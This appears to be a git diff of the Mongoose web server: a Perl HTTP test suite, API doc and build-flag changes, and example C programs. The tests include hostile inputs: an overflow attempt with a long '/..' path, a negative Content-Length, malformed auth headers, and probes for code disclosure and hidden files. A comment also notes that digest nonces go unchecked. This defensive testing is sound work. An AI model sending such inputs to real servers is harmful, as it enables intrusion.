"GET /hello.txt HTTP/1.0\nContent-Length: 0\n\n",
'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close',
'Request pipelining', 2);
my $x = 'x=' . 'A' x (200 * 1024);
my $len = length($x);
o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x",
'^HTTP/1.1 200 OK', 'Long POST');
# Try to overflow: Send very long request
req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n",
'HTTP/1.1 200 OK', 'Negative content length');
o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
'GET regular file Content-Length');
o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
'HTTP/1.1 200 OK', 'URL-decoding');
# '+' in URI must not be URL-decoded to space
write_file("$root/a+.txt", ':-)');
o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
# Break CGI reading after 1 second. We must get full output.
# Since CGI script does sleep, we sleep as well and increase request count
# manually.
my $slow_cgi_reply;
print "==> Slow CGI output ... ";
fail('Slow CGI output forward reply=', $slow_cgi_reply) unless
($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s;
print "OK\n";
sleep 2;
#$num_requests++;
# Test HTTP version parsing
o("GET / HTTPX/1.0\r\n\r\n", '^HTTP/1.1 400', 'Bad HTTP Version', 0);
o("GET / HTTP/x.1\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP maj Version', 1);
o("GET / HTTP/1.1z\r\n\r\n", '^HTTP/1.1 505', 'Bad HTTP min Version', 1);
o("GET / HTTP/02.0\r\n\r\n", '^HTTP/1.1 505', 'HTTP Version >1.1', 1);
# File with leading single dot
o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3')
if on_windows();
o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
mkdir $test_dir unless -d $test_dir;
o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
'HTTP/1.1 404', 'PATH_INFO loop problem');
o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
write_file("$test_dir/index.html", "tralala");
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
mkdir $test_dir . $dir_separator . 'x';
my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
write_file($path, read_file($root . $dir_separator . 'env.cgi'));
chmod(0755, $path);
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
'index.cgi execution');
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n",
"SCRIPT_FILENAME=$test_dir/x/index.cgi", 'SCRIPT_FILENAME');
o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
'Aliases SCRIPT_NAME');
o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close',
'No keep-alive');
$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi';
system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl");
write_file($path, "#!../../myperl\n" .
"print \"Content-Type: text/plain\\n\\nhi\";");
chmod(0755, $path);
o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path');
o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI');
my $mime_types = {
html => 'text/html',
htm => 'text/html',
txt => 'text/plain',
unknown_extension => 'text/plain',
js => 'application/x-javascript',
css => 'text/css',
jpg => 'image/jpeg',
c => 'text/plain',
'tar.gz' => 'blah',
bar => 'foo/bar',
baz => 'foo',
};
foreach my $key (keys %$mime_types) {
my $filename = "_mime_file_test.$key";
write_file("$root/$filename", '');
o("GET /$filename HTTP/1.0\n\n",
"Content-Type: $mime_types->{$key}", ".$key mime type");
unlink "$root/$filename";
}
# Get binary file and check the integrity
my $binary_file = 'binary_file';
my $f2 = '';
foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
write_file("$root/$binary_file", $f2);
my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
$f1 eq $f2 or fail("Integrity check for downloaded binary file");
my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
"Range: bytes=3-5\r\n\r\n";
o($range_request, '206 Partial Content', 'Range: 206 status code');
o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
o($range_request, '\nple$', 'Range: body content');
# Test directory sorting. Sleep between file creation for 1.1 seconds,
# to make sure modification time are different.
mkdir "$test_dir/sort";
write_file("$test_dir/sort/11", 'xx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/aa", 'xxxx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/bb", 'xxx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/22", 'x');
o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
'200 OK.+>11<.+>22<.+>aa<.+>bb<',
'Directory listing (name, ascending)');
o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
'200 OK.+>bb<.+>aa<.+>22<.+>11<',
'Directory listing (name, descending)');
o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
'200 OK.+>22<.+>11<.+>bb<.+>aa<',
'Directory listing (size, ascending)');
o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
'200 OK.+>aa<.+>bb<.+>11<.+>22<',
'Directory listing (size, descending)');
o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
'200 OK.+>11<.+>aa<.+>bb<.+>22<',
'Directory listing (modification time, ascending)');
o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
'200 OK.+>22<.+>bb<.+>aa<.+>11<',
'Directory listing (modification time, descending)');
unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
# Check that .htpasswd file existence trigger authorization
write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f');
o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
'.htpasswd - triggering auth on file request');
o("GET / HTTP/1.1\n\n", '401 Unauthorized',
'.htpasswd - triggering auth on directory request');
# Test various funky things in an authentication header.
o("GET /hello.txt HTTP/1.0\nAuthorization: Digest eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n",
'401 Unauthorized', 'weird auth values should not cause crashes');
my $auth_header = "Digest username=\"user with space, \\\" and comma\", ".
"realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",".
"response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\"";
# TODO(lsm): re-enable auth checks
unlink "$root/.htpasswd";
o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth');
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$',
'.htpasswd is hidden from the directory list');
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$',
'hidden file is hidden from the directory list');
o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n",
'^HTTP/1.1 404 ', '.htpasswd must not be shown');
o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n",
'^HTTP/1.1 404', 'hidden files must not be shown');
o("GET /dir%20with%20spaces/hello.cgi HTTP/1.0\n\r\n",
'HTTP/1.1 200 OK.+hello', 'CGI script with spaces in path');
o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
o("GET /bad2.cgi HTTP/1.0\n\n", "^HTTP/1.1 302", 'CGI Status code');
o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
'GET sh CGI file') unless on_windows();
o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
'QUERY_STRING wrong');
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
'var=HELLO', 'CGI POST wrong');
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
'\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
'HTTP_MY_HDR=abc', 'HTTP_* env');
o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
'HTTP/1.1 200 OK', 'GET CGI with trailing data');
o("GET /env.cgi%20 HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
o("GET /env.cgi%ff HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
o("GET /env.cgi%2e HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
o("GET /env.cgi%2b HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO');
o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO');
o("GET /env.cgi/foo/bar?a=b HTTP/1.0\n\n",
'SCRIPT_NAME=/env.cgi\s', 'SCRIPT_NAME for CGI with PATH_INFO');
# Check that CGI's current directory is set to script's directory
my $copy_cmd = on_windows() ? 'copy' : 'cp';
system("$copy_cmd $root" . $dir_separator . "env.cgi $test_dir" .
$dir_separator . 'env.cgi');
o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
"CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
# Manipulate the passwords file
my $path = 'test_htpasswd';
unlink $path;
system("$mongoose_exe -A $path a b c") == 0
or fail("Cannot add user in a passwd file");
system("$mongoose_exe -A $path a b c2") == 0
or fail("Cannot edit user in a passwd file");
my $content = read_file($path);
$content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
unlink $path;
do_PUT_test();
kill_spawned_child();
}
sub do_PUT_test {
# This only works because mongoose currently doesn't look at the nonce.
# It should really be rejected...
my $auth_header = "Authorization: Digest username=guest, ".
"realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
"response=896327350763836180c61d87578037d9, qop=auth, ".
"nc=00000002, cnonce=53eddd3be4e26a98\n";
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
"HTTP/1.1 201 OK", 'PUT file, status 201');
fail("PUT content mismatch")
unless read_file("$root/a/put.txt") eq '1234567';
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
"HTTP/1.1 200 OK", 'PUT file, status 200');
fail("PUT content mismatch")
unless read_file("$root/a/put.txt") eq 'abcd';
o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd",
"HTTP/1.1 411 Length Required", 'PUT 411 error');
o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
"$auth_header\nabcd",
"HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
}
print "SUCCESS! All tests passed.\n";
-12
View File
@@ -1,12 +0,0 @@
#!/usr/bin/env perl
# Make stdout unbuffered
use FileHandle;
STDOUT->autoflush(1);
# This script outputs some content, then sleeps for 5 seconds, then exits.
# Web server should return the content immediately after it is sent,
# not waiting until the script exits.
print "Content-Type: text/html\r\n\r\n";
print "Some data";
sleep 3;
-9
View File
@@ -1,9 +0,0 @@
<html>
<form method="post">
<input name="x" type="text" />
<input type="submit" />
</form>
<? echo $_POST["x"]; ?>
</html>
+33 -10
View File
@@ -60,12 +60,26 @@ that take `struct mg_server *` parameter. Mongoose does not
mutex-protect `struct mg_server *`, therefore the best practice is mutex-protect `struct mg_server *`, therefore the best practice is
to call server management functions from the same thread (an IO thread). to call server management functions from the same thread (an IO thread).
void mg_add_uri_handler(struct mg_server *, const char *uri, mg_handler_t); void mg_set_auth_handler(struct mg_server *, mg_handler_t handler);
Adds an URI handler. If Mongoose gets a request and request's URI starts Sets authorization handler. Called by Mongoose on each request, before
with `uri`, then specified handler is called to serve the request. Thus, an performing any other action. Handler can return either `MG_AUTH_OK` or
`uri` is a match prefix. For example, if `uri` is "/", then all requests will `MG_AUTH_FAIL`. If `handler` returns `MG_AUTH_FAIL`, then Mongoose sends
be routed to the handler, because all URIs start with `/` character. digest authorization request to the client. If `handler returns `MG_AUTH_OK`,
then mongoose proceeds with handling the request. Handler function can use
`mg_authorize_digest()` function to verify authorization, or implement any other
custom authorization mechanism.
void mg_set_request_handler(struct mg_server *, mg_handler_t handler);
Sets a request handler. When set, `handler` will be called for each request.
Possible return values from a handler function are `MG_REQUEST_NOT_PROCESSED`,
`MG_REQUEST_PROCESSED` and `MG_REQUEST_CALL_AGAIN`. If handler returns
`MG_REQUEST_NOT_PROCESSED`, mongoose will proceed with handling the request.
If handler returns `MG_REQUEST_PROCESSED`, that signals mongoose that handler
has already processed the connection, and mongoose will skip to the next
request. `MG_REQUEST_CALL_AGAIN` tells mongoose to call request handler
again and again on each `mg_poll_server()` iteration.
When mongoose buffers in HTTP request and successfully parses it, it calls When mongoose buffers in HTTP request and successfully parses it, it calls
appropriate URI handler immediately for GET requests. For POST requests, appropriate URI handler immediately for GET requests. For POST requests,
@@ -82,12 +96,16 @@ whether the request is websocket or not. Also, for websocket requests,
there is `struct mg_connection::wsbits` field which contains first byte there is `struct mg_connection::wsbits` field which contains first byte
of the websocket frame which URI handler can examine. Note that to of the websocket frame which URI handler can examine. Note that to
reply to the websocket client, `mg_websocket_write()` should be used. reply to the websocket client, `mg_websocket_write()` should be used.
To reply to the plain HTTP client, `mg_write()` should be used. To reply to the plain HTTP client, `mg_write_data()` should be used. Note that
websocket handler must return either `MG_CLIENT_CLOSE` or `MG_CLIENT_CONTINUE`
value.
void mg_set_http_error_handler(struct mg_server *, mg_handler_t); void mg_set_http_error_handler(struct mg_server *, mg_handler_t);
Adds HTTP error handler. An actual HTTP error is passed as Adds HTTP error handler. An actual HTTP error is passed as
`struct mg_connection::status_code` parameter. If handler returns 0, it `struct mg_connection::status_code` parameter.
Hanlder should return either `MG_ERROR_PROCESSED` or `MG_ERROR_NOT_PROCESSED`.
If handler returns `MG_ERROR_NOT_PROCESSED`, it
means a handler has not processed the connection, and mongoose proceeds means a handler has not processed the connection, and mongoose proceeds
with sending HTTP error to the client. Otherwise, mongoose does nothing. with sending HTTP error to the client. Otherwise, mongoose does nothing.
@@ -134,7 +152,13 @@ a response body. Mongoose provides functions for all three parts:
* `mg_send_data()` and `mg_printf_data()` are used to send data to the * `mg_send_data()` and `mg_printf_data()` are used to send data to the
client. Note that Mongoose adds `Transfer-Encoding: chunked` header client. Note that Mongoose adds `Transfer-Encoding: chunked` header
implicitly, and sends data in chunks. Therefore, it is not necessary to implicitly, and sends data in chunks. Therefore, it is not necessary to
set `Content-Length` header. set `Content-Length` header. Note that `mg_send_data()` and
`mg_printf_data()` do not send data immediately. Instead, they spool
data in memory, and Mongoose sends that data later after URI handler
returns. If data to be sent is huge, an URI handler might
send data in pieces by saving state in
`struct mg_connection::connection_param` variable and returning `0`. Then
Mongoose will call a handler repeatedly after each socket write.
<!-- --> <!-- -->
@@ -142,8 +166,7 @@ a response body. Mongoose provides functions for all three parts:
const char *data, size_t data_len); const char *data, size_t data_len);
Similar to `mg_write()`, but wraps the data into a websocket frame with a Similar to `mg_write()`, but wraps the data into a websocket frame with a
given websocket `opcode`. This function is available when mongoose is given websocket `opcode`.
compiled with `-DUSE_WEBSOCKET`.
const char *mg_get_header(const struct mg_connection *, const char *name); const char *mg_get_header(const struct mg_connection *, const char *name);
+26 -13
View File
@@ -73,23 +73,36 @@ could be enabled by setting appropriate `USE_*` flag. Bare bones Mongoose
is quite small, about 30 kilobytes of compiled x86 code. Each feature adds is quite small, about 30 kilobytes of compiled x86 code. Each feature adds
a couple of kilobytes to the executable size, and also has some runtime penalty. a couple of kilobytes to the executable size, and also has some runtime penalty.
-DNO_AUTH Disable MD5 authorization support -DMONGOOSE_NO_AUTH Disable MD5 authorization support
-DNO_CGI Disable CGI support -DMONGOOSE_NO_CGI Disable CGI support
-DNO_DAV Disable WebDAV support (PUT, DELETE, MKCOL, PROPFIND) -DMONGOOSE_NO_DAV Disable WebDAV support
-DNO_DIRECTORY_LISTING Disable directory listing (PUT, DELETE, MKCOL, PROPFIND methods)
-DNO_LOGGING Disable access/error logging -DMONGOOSE_NO_DIRECTORY_LISTING Disable directory listing
-DNO_WEBSOCKET Disable WebSocket support -DMONGOOSE_NO_FILESYSTEM Disables all file IO, serving from memory only
-DMONGOOSE_NO_LOGGING Disable access/error logging
-DMONGOOSE_NO_THREADS
-DMONGOOSE_NO_WEBSOCKET Disable WebSocket support
-DUSE_IPV6 Enable IPv6 support -DMONGOOSE_USE_IDLE_TIMEOUT_SECONDS=X Idle connection timeout, default is 30
-DUSE_LUA Enable Lua scripting -DMONGOOSE_USE_IPV6 Enable IPv6 support
-DUSE_LUA_SQLITE3 Enable sqlite3 binding for Lua -DMONGOOSE_USE_LUA Enable Lua scripting
-DUSE_SSL Enable SSL -DMONGOOSE_USE_LUA_SQLITE3 Enable sqlite3 binding for Lua
-DUSE_POST_SIZE_LIMIT=X POST requests larger than X will be rejected -DMONGOOSE_USE_SSL Enable SSL
-DUSE_EXTRA_HTTP_HEADERS=X Append X to the HTTP headers for static files -DMONGOOSE_USE_POST_SIZE_LIMIT=X POST requests larger than X will be
rejected, not set by default
-DMONGOOSE_USE_EXTRA_HTTP_HEADERS=X Append X to the HTTP headers
for static files, empty by default
-DMONGOOSE_USE_STACK_SIZE=X Let mg_start_thread() use stack
size X, default is OS default
-DMONGOOSE_ENABLE_DEBUG Enables debug messages on stdout, very noisy
Mongoose source code contains a well-commented example code, listed below: Mongoose source code contains a well-commented example code, listed below:
* [hello.c](https://github.com/cesanta/mongoose/blob/master/examples/hello.c) * [hello.c](https://github.com/cesanta/mongoose/blob/master/examples/hello.c)
is a minimalisting hello world example a minimalistic hello world example
* [post.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c) * [post.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
shows how to handle form input shows how to handle form input
* [upload.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
shows how to upload files
* [websocket.c](https://github.com/cesanta/mongoose/blob/master/examples/websocket.c) demonstrates websocket usage
* [auth.c](https://github.com/cesanta/mongoose/blob/master/examples/websocket.c) demonstrates API-controlled Digest authorization
+18 -10
View File
@@ -1,7 +1,9 @@
CFLAGS = -W -Wall -I.. -pthread -g -pipe $(COPT) CFLAGS = -W -Wall -I.. -pthread -g -pipe $(CFLAGS_EXTRA)
DLL_FLAGS = -DLUA_COMPAT_ALL -I../build DLL_FLAGS = -DLUA_COMPAT_ALL -I../build
RM = rm -rf
ifeq ($(OS),Windows_NT) ifeq ($(OS),Windows_NT)
RM = del /q /f
else else
UNAME_S := $(shell uname -s) UNAME_S := $(shell uname -s)
DLL_FLAGS += -shared DLL_FLAGS += -shared
@@ -16,31 +18,37 @@ else
endif endif
endif endif
all: all: websocket_html.c
$(CC) hello.c ../mongoose.c -o hello $(CFLAGS) $(CC) hello.c ../mongoose.c -o hello $(CFLAGS)
$(CC) qcomm.c ../mongoose.c -o qcomm $(CFLAGS) $(CC) websocket.c websocket_html.c ../mongoose.c -o websocket $(CFLAGS)
$(CC) post.c ../mongoose.c -o post $(CFLAGS) $(CC) post.c ../mongoose.c -o post $(CFLAGS)
$(CC) multi_threaded.c ../mongoose.c -o multi_threaded $(CFLAGS) $(CC) multi_threaded.c ../mongoose.c -o multi_threaded $(CFLAGS)
$(CC) upload.c ../mongoose.c -o upload $(CFLAGS)
$(CC) auth.c ../mongoose.c -o auth $(CFLAGS)
$(CC) server.c ../mongoose.c -o server $(CFLAGS)
# $(CC) upload.c ../mongoose.c -o upload $(CFLAGS)
# $(CC) -DUSE_WEBSOCKET websocket.c ../mongoose.c -o $@ $(CFLAGS)
# $(CC) chat.c ../mongoose.c -o chat $(CFLAGS) # $(CC) chat.c ../mongoose.c -o chat $(CFLAGS)
# $(CC) lua_dll.c ../build/lua_5.2.1.c -o $@.so $(CFLAGS) $(DLL_FLAGS) # $(CC) lua_dll.c ../build/lua_5.2.1.c -o $@.so $(CFLAGS) $(DLL_FLAGS)
websocket_html.c: websocket.html
perl mkdata.pl $< > $@
MSVC = ../../vc6 MSVC = ../../vc6
CL = $(MSVC)/bin/cl CL = $(MSVC)/bin/cl
CLFLAGS = /MD /TC /nologo $(DBG) /W3 /DNO_SSL \ CLFLAGS = /MD /TC /nologo $(DBG) /W3 \
/I$(MSVC)/include /I.. /Dsnprintf=_snprintf /I$(MSVC)/include /I.. /Dsnprintf=_snprintf
LFLAGS = /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86 LFLAGS = /link /incremental:no /libpath:$(MSVC)/lib /machine:IX86
windows: windows: websocket_html.c
$(CL) hello.c ../mongoose.c $(CLFLAGS) $(LFLAGS) $(CL) hello.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
$(CL) websocket.c websocket_html.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
$(CL) post.c ../mongoose.c $(CLFLAGS) $(LFLAGS) $(CL) post.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
$(CL) multi_threaded.c ../mongoose.c $(CLFLAGS) $(LFLAGS) $(CL) multi_threaded.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
# $(CL) upload.c ../mongoose.c $(CLFLAGS) $(LFLAGS) $(CL) upload.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
# $(CL) /DUSE_WEBSOCKET websocket.c ../mongoose.c $(CLFLAGS) $(LFLAGS) $(CL) auth.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
$(CL) server.c ../mongoose.c $(CLFLAGS) $(LFLAGS)
#$(CL) lua_dll.c $(CLFLAGS) $(DLL_FLAGS) /DLL $(LFLAGS) /SUBSYSTEM:WINDOWS /ENTRY:luaopen_lua_dll /EXPORT:luaopen_lua_dll /out:lua_dll.dll #$(CL) lua_dll.c $(CLFLAGS) $(DLL_FLAGS) /DLL $(LFLAGS) /SUBSYSTEM:WINDOWS /ENTRY:luaopen_lua_dll /EXPORT:luaopen_lua_dll /out:lua_dll.dll
clean: clean:
rm -rf hello upload post websocket chat *.exe *.dSYM *.obj .*o -@$(RM) hello upload post websocket chat *.exe *.dSYM *.obj .*o
+32
View File
@@ -0,0 +1,32 @@
#include <stdio.h>
#include <string.h>
#include "mongoose.h"
static int auth_handler(struct mg_connection *conn) {
int result = MG_AUTH_FAIL; // Not authorized
FILE *fp;
// To populate passwords file, do
// mongoose -A my_passwords.txt mydomain.com admin admin
if ((fp = fopen("my_passwords.txt", "r")) != NULL) {
result = mg_authorize_digest(conn, fp);
fclose(fp);
}
return result;
}
int main(void) {
struct mg_server *server = mg_create_server(NULL);
mg_set_option(server, "listening_port", "8080");
mg_set_option(server, "document_root", ".");
mg_set_auth_handler(server, auth_handler);
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 1000);
}
mg_destroy_server(&server);
return 0;
}
+47
View File
@@ -0,0 +1,47 @@
#include <stdio.h>
#include <string.h>
#include "mongoose.h"
static int index_html(struct mg_connection *conn) {
FILE *fp = (FILE *) conn->connection_param;
char buf[200];
size_t n = 0;
if (fp == NULL) {
fp = fopen("../mongoose.c", "r");
conn->connection_param = (void *) fp;
}
if (fp != NULL) {
n = fread(buf, 1, sizeof(buf), fp);
mg_send_data(conn, buf, n);
if (n < sizeof(buf) || conn->wsbits != 0) {
fclose(fp);
conn->connection_param = NULL;
}
}
return n < sizeof(buf) ? 1 : 0;
}
int main(void) {
struct mg_server *server;
// Create and configure the server
server = mg_create_server(NULL);
mg_set_option(server, "listening_port", "8080");
mg_add_uri_handler(server, "/", index_html);
// Serve request. Hit Ctrl-C to terminate the program
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 1000);
}
// Cleanup, and free server instance
mg_destroy_server(&server);
return 0;
}
+3 -5
View File
@@ -4,10 +4,8 @@
// This function will be called by mongoose on every new request // This function will be called by mongoose on every new request
static int index_html(struct mg_connection *conn) { static int index_html(struct mg_connection *conn) {
mg_printf_data(conn, "Hello! Requested URI is [%s], query string is [%s]", mg_printf_data(conn, "Hello! Requested URI is [%s]", conn->uri);
conn->uri, return MG_REQUEST_PROCESSED;
conn->query_string == NULL ? "(none)" : conn->query_string);
return 0;
} }
int main(void) { int main(void) {
@@ -16,7 +14,7 @@ int main(void) {
// Create and configure the server // Create and configure the server
server = mg_create_server(NULL); server = mg_create_server(NULL);
mg_set_option(server, "listening_port", "8080"); mg_set_option(server, "listening_port", "8080");
mg_add_uri_handler(server, "/", index_html); mg_set_request_handler(server, index_html);
// Serve request. Hit Ctrl-C to terminate the program // Serve request. Hit Ctrl-C to terminate the program
printf("Starting on port %s\n", mg_get_option(server, "listening_port")); printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
+15 -19
View File
@@ -23,24 +23,20 @@ Content-Type: text/html
<p>Reading POST data from Lua (click submit):</p> <p>Reading POST data from Lua (click submit):</p>
<form method="POST" ><input type="text" name="t1"/><input type="submit"></form> <form method="POST" ><input type="text" name="t1"/><input type="submit"></form>
<pre> <pre>
POST data: [<? POST data: [<? mg.write(mg.request_info.content) ?>]
local post_data = '' request method: [<? mg.write(mg.request_info.request_method) ?>]
if mg.request_info.request_method == 'POST' then IP/port: [<?mg.write(mg.request_info.remote_ip, ':',
post_data = mg.read() mg.request_info.remote_port) ?>]
end URI: [<? mg.write(mg.request_info.uri) ?>]
mg.write(post_data) HTTP version [<? mg.write(mg.request_info.http_version) ?>]
?>] Content Len: [<? mg.write(mg.request_info.content_len) ?>]
request method: [<? mg.write(mg.request_info.request_method) ?>] HEADERS:
IP/port: [<? mg.write(mg.request_info.remote_ip, ':', <?
mg.request_info.remote_port) ?>] for name, value in pairs(mg.request_info.http_headers) do
URI: [<? mg.write(mg.request_info.uri) ?>] mg.write(name, ':', value, '\n')
HTTP version [<? mg.write(mg.request_info.http_version) ?>] end
HEADERS: ?>
<?
for name, value in pairs(mg.request_info.http_headers) do
mg.write(name, ':', value, '\n')
end
?>
</pre> </pre>
</html> </html>
+53
View File
@@ -0,0 +1,53 @@
# This program is used to embed arbitrary data into a C binary. It takes
# a list of files as an input, and produces a .c data file that contains
# contents of all these files as collection of char arrays.
#
# Usage: perl <this_file> <file1> [file2, ...] > embedded_data.c
foreach my $i (0 .. $#ARGV) {
open FD, '<:raw', $ARGV[$i] or die "Cannot open $ARGV[$i]: $!\n";
printf("static const unsigned char v%d[] = {", $i);
my $byte;
my $j = 0;
while (read(FD, $byte, 1)) {
if (($j % 12) == 0) {
print "\n";
}
printf ' %#04x,', ord($byte);
$j++;
}
print " 0x00\n};\n";
close FD;
}
print <<EOS;
#include <stddef.h>
#include <string.h>
static const struct embedded_file {
const char *name;
const unsigned char *data;
size_t size;
} embedded_files[] = {
EOS
foreach my $i (0 .. $#ARGV) {
print " {\"$ARGV[$i]\", v$i, sizeof(v$i) - 1},\n";
}
print <<EOS;
{NULL, NULL, 0}
};
const char *find_embedded_file(const char *name, size_t *size) {
const struct embedded_file *p;
for (p = embedded_files; p->name != NULL; p++) {
if (!strcmp(p->name, name)) {
if (size != NULL) { *size = p->size; }
return (const char *) p->data;
}
}
return NULL;
}
EOS
+3 -3
View File
@@ -6,7 +6,7 @@ static int request_handler(struct mg_connection *conn) {
mg_send_header(conn, "Content-Type", "text/plain"); mg_send_header(conn, "Content-Type", "text/plain");
mg_printf_data(conn, "This is a reply from server instance # %s", mg_printf_data(conn, "This is a reply from server instance # %s",
(char *) conn->server_param); (char *) conn->server_param);
return 0; return MG_REQUEST_PROCESSED;
} }
static void *serve(void *server) { static void *serve(void *server) {
@@ -20,8 +20,8 @@ int main(void) {
server1 = mg_create_server((void *) "1"); server1 = mg_create_server((void *) "1");
server2 = mg_create_server((void *) "2"); server2 = mg_create_server((void *) "2");
mg_add_uri_handler(server1, "/", request_handler); mg_set_request_handler(server1, request_handler);
mg_add_uri_handler(server2, "/", request_handler); mg_set_request_handler(server2, request_handler);
// Make both server1 and server2 listen on the same socket // Make both server1 and server2 listen on the same socket
mg_set_option(server1, "listening_port", "8080"); mg_set_option(server1, "listening_port", "8080");
+2 -2
View File
@@ -34,13 +34,13 @@ static int handler(struct mg_connection *conn) {
mg_send_data(conn, html_form, strlen(html_form)); mg_send_data(conn, html_form, strlen(html_form));
} }
